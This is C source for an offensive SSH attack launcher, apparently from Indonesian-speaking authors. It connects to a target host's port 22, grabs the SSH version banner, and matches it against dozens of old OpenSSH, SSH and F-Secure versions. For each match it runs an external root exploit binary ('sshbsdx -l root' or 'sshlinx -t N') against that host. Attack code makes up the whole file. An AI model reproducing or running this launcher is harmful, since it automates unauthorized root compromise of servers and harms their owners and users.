#include <arpa/inet.h>
#include <crypt.h>
#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <netinet/in.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
/*#include "../scan.conf"*/

int main(int argc, char *argv[])
{
  struct sockaddr_in sin;
  int sock, len;
  u_char buf[4000];
  FILE *ihatetempfiles;
  char wu[150];
  if (argc<2) {
   printf("%s <host>\n",argv[0]);
   exit(0);
  }
  sock = socket(AF_INET, SOCK_STREAM, 0);
  if (!sock)
  {
    fprintf(stderr, "unable to get a socket\n");
    return;
  }
  sin.sin_family = AF_INET;
  sin.sin_port = htons(22);
  sin.sin_addr.s_addr = inet_addr(argv[1]);
  alarm(4);
  if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) == 0) {
    while (1)
    {
      memset(buf, 0, sizeof(buf));
      if ((len = read (sock, buf, 1)) <= 0)
         break;
      if (*buf == (unsigned int) 255)
      {
        read(sock, (buf + 1), 2);
        if (*(buf + 1) == (unsigned int) 253 && !(u_char) * (buf + 2));
        else if ((u_char) * (buf + 1) == (unsigned int) 253)
        {
          *(buf + 1) = 252;
          write (sock, buf, 3);
        }
      }
      else
      {
        if (*buf != 0)
        {
          bzero (buf, sizeof (buf));
          /* deGleng start */
          read (sock, buf, sizeof (buf));
          usleep(40000);
          //char scan_ssh[150];
          //sprintf(scan_ssh,"ssh/scanssh -n 22 %s",argv[1]);
          //read(system(scan_ssh), buf, sizeof (buf));
          /* deGleng end */
          #ifdef VERBOSE
             printf("%s",buf);
          #endif
          if (strstr(buf, "SH-1.99-OpenSSH_3.4p1"))
          {
              alarm(65000);
              printf("Cuk, ini podo serper ku SSH-1.99-OpenSSH_3.4p1\n");
              sprintf(wu,"ssh/sshlinx -t 25 %s \n\n",argv[1]);
              //system(wu);
              alarm(0);
              return 1;
          }
          if (strstr(buf, "SH-1.99-OpenSSH_3.0"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.99-OpenSSH_3.0\n");
              sprintf(wu,"ssh/sshbsdx -l root %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.99-OpenSSH_3.0.1"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.99-OpenSSH_3.0.1\n");
              sprintf(wu,"ssh/sshbsdx -l root %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.99-OpenSSH_3.0.2"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.99-OpenSSH_3.0.2\n");
              sprintf(wu,"ssh/sshbsdx -l root %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.99-OpenSSH_3.1"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.99-OpenSSH_3.1\n");
              sprintf(wu,"ssh/sshbsdx -l root %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.99-OpenSSH_3.1.1"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.99-OpenSSH_3.1.1\n");
              sprintf(wu,"ssh/sshbsdx -l root %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.99-OpenSSH_3.1.2"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.99-OpenSSH_3.1.2\n");
              sprintf(wu,"ssh/sshbsdx -l root %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.99-OpenSSH_3.2"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.99-OpenSSH_3.2\n");
              sprintf(wu,"ssh/sshbsdx -l root %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.99-OpenSSH_3.2.1"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.99-OpenSSH_3.2.1\n");
              sprintf(wu,"ssh/sshbsdx -l root %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.99-OpenSSH_3.2.2"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.99-OpenSSH_3.2.2\n");
              sprintf(wu,"ssh/sshbsdx -l root %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.99-OpenSSH_3.3"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.99-OpenSSH_3.3\n");
              sprintf(wu,"ssh/sshbsdx -l root %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.5-1.2.25"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.5-1.2.25\n");
              sprintf(wu,"ssh/sshlinx -t 1 %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.5-1.2.26"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.5-1.2.26\n");
              sprintf(wu,"ssh/sshlinx -t 3 %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.5-1.2.27"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.5-1.2.27\n");
              sprintf(wu,"ssh/sshlinx -t 5 %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.5-1.2.29"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.5-1.2.29\n");
              sprintf(wu,"ssh/sshlinx -t 7 %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.5-1.2.30"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.5-1.2.30\n");
              sprintf(wu,"ssh/sshlinx -t 9 %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.5-1.2.31"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.5-1.2.31\n");
              sprintf(wu,"ssh/sshlinx -t 11 %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.5-OpenSSH-1.2"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.5-OpenSSH-1.2\n");
              sprintf(wu,"ssh/sshlinx -t 25 %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.5-OpenSSH-1.2.2"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.5-OpenSSH-1.2.2\n");
              sprintf(wu,"ssh/sshlinx -t 25 %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.99-OpenSSH_2.2.0p1"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.99-OpenSSH_2.2.0p1\n");
              sprintf(wu,"ssh/sshlinx -t 19 %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-2.99-OpenSSH_2.2.0"))
          {
              alarm(0);
              printf("Yak, dapat SSH-2.99-OpenSSH_2.2.0\n");
              sprintf(wu,"ssh/sshlinx -t 21 %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.5-OpenSSH-1.2.3"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.5-OpenSSH-1.2.3\n");
              sprintf(wu,"ssh/sshlinx -t 25 %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.99-OpenSSH_2.1"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.99-OpenSSH_2.1\n");
              sprintf(wu,"ssh/sshlinx -t 25 %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.99-OpenSSH_2.1."))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.99-OpenSSH_2.1.\n");
              sprintf(wu,"ssh/sshlinx -t 25 %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.5-1.3.5 F-SECURE SSH"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.5-1.3.5 F-SECURE SSH\n");
              sprintf(wu,"ssh/sshlinx -t 25 %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.5-1.3.6 F-SECURE SSH"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.5-1.3.6 F-SECURE SSH\n");
              sprintf(wu,"ssh/sshlinx -t 25 %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.5-1.3.7 F-SECURE SSH"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.5-1.3.7 F-SECURE SSH\n");
              sprintf(wu,"ssh/sshlinx -t 25 %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.5-OpenSSH-2.1"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.5-OpenSSH-2.1\n");
              sprintf(wu,"ssh/sshlinx -t 25 %s \n\n",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "SH-1.5-OpenSSH-2.1.1"))
          {
              alarm(0);
              printf("Yak, dapat SSH-1.5-OpenSSH-2.1.1\n");
              sprintf(wu,"ssh/sshlinx -t 25 %s \n\n",argv[1]);
              system(wu);
              return 1;
          }

          printf("Weleh, gak masuk list cuk !\n");
          alarm(0);
          return 1;
        }
      }
    }
  }
  printf("Wua Suuu, cuk..\n");
  alarm(0);
  close(sock);
  return;
}

